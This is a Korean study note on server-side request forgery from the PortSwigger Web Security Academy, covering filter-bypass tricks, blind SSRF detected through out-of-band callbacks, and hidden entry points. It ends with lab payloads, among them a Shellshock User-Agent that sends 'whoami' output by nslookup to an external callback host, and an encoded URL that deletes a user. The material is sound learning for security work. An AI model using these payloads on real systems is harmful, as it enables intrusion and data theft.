# SSRF (Server-Side Request Forgery) - PortSwigger 정리글

* * *

## 0\. 들어가며

이 글은 PortSwigger Web Security Academy의 SSRF 자료를 공부하며 정리한 학습 노트다. 상세 lab write-up이라기보다는 SSRF의 주요 개념, 공격 패턴, 우회 방식, 방어 관점 등을 빠르게 복습하기 위한 목적으로 작성했다.

* * *

## 1\. SSRF(서버 측 요청 위조)란?

**SSRF**는 공격자가 서버 측 애플리케이션을 조작하여, 서버가 의도하지 않은 위치(내부/외부 시스템)로 HTTP 요청을 보내게 만드는 취약점

### 1.1 주요 영향

*   **내부 데이터 유출:** 외부에서 접근 불가능한 내부 시스템(DB, 관리자 페이지 등)의 데이터에 접근
    
*   **권한 상승:** 서버 자체나 신뢰 관계가 구축된 다른 백엔드 시스템의 인증을 우회
    
*   **2차 공격 도구:** 해당 서버를 이용해 제3의 시스템을 공격하여 공격 위치를 위장
    

* * *

## 2\. 주요 공격 유형

### 2.1. 서버 자신을 향한 공격 (Against the local server)

서버가 자기 자신(`127.0.0.1` 또는 `localhost`)에게 요청을 보내게 함.

*   **원리:** 외부에서는 차단된 `/admin` 같은 경로도, 서버 내부 루프백 인터페이스를 통한 요청은 '신뢰'하여 접근을 허용하는 점을 악용
    
*   **예시:** `stockApi=http://localhost/admin`
    

### 2.2. 다른 백엔드 시스템 공격

서버와 연결된 내부 네트워크의 다른 서버(사설 IP)를 타겟팅

*   **원리:** 네트워크 방화벽 뒤에 숨어 있는 인증 없는 내부 API나 관리 인터페이스를 공격
    
*   **예시:** `stockApi=http://192.168.0.68/admin`
    

* * *

## 3\. 방어 기법 및 우회 방법

보통 서버는 **블랙리스트**나 **화이트리스트**로 이를 막으려 하지만, 어림도 없지.

### 3.1. 블랙리스트 기반 필터 우회

*   **IP 변형:** `127.0.0.1` 대신 `2130706433`(10진수), `017700000001`(8진수), `127.1` 사용.
    
*   **도메인 활용:** `127.0.0.1`로 리졸빙되는 별도의 도메인 사용.
    
*   **인코딩:** URL 인코딩이나 대소문자 변환으로 문자열 필터링 회피.
    

### 3.2. 화이트리스트 기반 필터 우회

*   **URL 구조 악용:** `@` 문자를 사용하여 자격 증명으로 위장 (`https://expected-host@evil-host`).
    
*   **URL 파싱 오류:** `#` (fragment)나 DNS 계층 구조를 이용해 허용된 도메인처럼 보이게 함
    
*   **DNS 계층 구조 활용 (Subdomain 조작):** URL Parser는 가장 오른쪽의 TLD(Top-Level Domain)부터 해석하지만, 단순한 필터는 문자열 내에 `expected-host`가 있는지만 확인하곤 함 (`https://expected-host.evil-host.com`)
    
*   **URL 인코딩을 이용한 파서 혼동 (Encoding Confusion):** 단일/이중 인코딩으로 `@` `#` 등의 제한 뚫기 (https://www.w3schools.com/tags/ref\_urlencode.ASP ← 요기 표 조음)
    

### 3.3 오픈 리다이렉트(Open Redirection) 활용

서버가 허용된 도메인으로의 요청만 허용할 경우, 그 도메인 내에 있는 '리다이렉트 취약점'을 이용해 최종적으로 내부 IP로 연결되게 만들기

* * *

## 4\. Blind SSRF (응답이 보이지 않는 SSRF)

일반적인 SSRF는 서버가 가져온 데이터를 나에게 보여주지만, **Blind SSRF**는 서버가 요청은 보내는데 그 결과(Response body)를 나에게 알려주지 않음

### 4.1. Blind SSRF 탐지: OAST 기법

**Blind SSRF**는 서버의 응답(Response)을 직접 볼 수 없기 때문에, **OAST(Out-of-band)** 기술을 사용하는 것이 가장 확실

*   **핵심 원리**: 서버가 나에게 답을 주지 않는다면, 서버가 **내가 관리하는 외부 서버**에 말을 걸게 만드는 것
    
*   **도구 (예: Burp Collaborator)**: 유니크한 도메인(예: `xyz.burpcollaborator.net`)을 생성해 페이로드에 심어 보냄. **내 외부 서버 로그에 해당 도메인으로의 접근 기록이 남는다면 취약점 확정**
    

> **주의점 (DNS vs HTTP)**: 가끔 DNS 쿼리 기록은 남는데 HTTP 요청은 안 오는 경우가 있습니다. 이는 서버가 도메인 주소를 찾는 데는 성공했지만, 네트워크 방화벽이 외부로 나가는 HTTP 연결을 막아버렸기 때문임. 이 경우에도 취약점은 존재한다고 봄.

### 4.2. Blind SSRF를 어떻게 공격에 쓸까?

#### 4.2.1 내부망 취약점 스캔 (Blind Sweep)

서버가 내부망(`192.168.0.x`)의 다른 서버들에 요청을 보내게 만들기

*   응답은 못 보지만, 만약 내부망의 다른 서버가 취약(예: 패치 안 된 구버전 서비스)하다면, 그 서버가 다시 나의 외부 서버로 응답을 보내게끔(OAST 방식의 페이로드) 유도하여 **내부망을 장악**할 수 있음
    

#### 4.2.2. Shellshock 등 취약점 연계 (RCE)

서버가 요청을 보낼 때 사용하는 **HTTP 클라이언트(라이브러리)** 자체의 취약점을 노리는 방식

*   **Shellshock 예시**: 서버가 외부 요청을 보낼 때 헤더(User-Agent 등)에 공격 코드를 담아 보내게 유도하여, 그 요청을 받는 내부 서버나 해당 서버 자체에서 원격 코드 실행(RCE)을 일으킴
    

#### 4.2.3. 악성 응답 반환 (Malicious Response)

서버가 공격자의 서버에 접속하게 만든 뒤, 공격자 서버가 **매우 특이하거나 악의적인 HTTP 응답**을 돌려주는 방식. 서버의 HTTP 라이브러리가 이 응답을 처리하다가 버그를 일으키면 시스템 권한을 탈취할 수도 있음.

* * *

## 5\. 숨겨진 공격 지점 찾기

공격 표면이 항상 URL 파라미터 형태로 대놓고 드러나지는 않음

### 5.1. 요청 내의 부분 URL (Partial URLs)

전체 URL이 아니라 `hostname`이나 `path` 일부만 입력 받는 경우

*   **예시**: `api_host=internal-db`라고 보내면 서버 내부에서 `https://internal-db.company.com/v1/query` 같은 식으로 조합할 때.
    
*   **공격**: 이 `api_host` 자리에 다른 내부 주소를 넣어보며 반응을 살핍니다. 제어권이 제한적이라 완전한 SSRF보다는 파급력이 낮을 수 있지만 여전히 위험함.
    

### 5.2. 데이터 포맷 내부의 URL (예: XML/XXE)

데이터를 주고받을 때 사용하는 포맷 자체가 URL 참조 기능을 가진 경우

*   **XML과 XXE**: XML 데이터 파서가 외부 엔티티(External Entity)를 해석하도록 설정되어 있다면, XML 파일 안에 URL을 심어 서버가 요청을 보내게 할 수 있고, 이를 통해 SSRF를 유도함.
    

### 5.3. Referer 헤더 활용

가장 놓치기 쉬운 부분

*   **원리**: 많은 웹사이트가 통계/분석을 위해 `Referer` 헤더(이전 페이지 주소)를 기록합니다. 일부 분석 툴은 이 헤더에 찍힌 URL이 진짜 존재하는지, 어떤 내용인지 확인하려고 **자동으로 해당 URL에 접속.**
    
*   **공격**: `Referer: http://192.168.0.1/admin` 처럼 헤더를 조작해 보내면, 서버 측 분석 라이브러리가 대신 내부 관리자 페이지에 접속.
    

## Exploit memo

### 🧪 **Lab: SSRF with whitelist-based input filter**

host 제한 문제 (`stock.weliketoshop.net` )

*   **Exploit:** `http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos` 
    

### 🧪 **Lab: Blind SSRF with Shellshock exploitation**

Referer Header SSRF + User-Agent Shellshock

*   **Exploit:**
    
    *   **User-Agent**: `() { :; }; /usr/bin/nslookup $(whoami).wvv57u0inwuwqjrsc1mp65ogh7nybrzg.oastify.com`
        
    *   **Referer:** `http://192.168.0.1:8080 ~ http://192.168.0.255:8080`
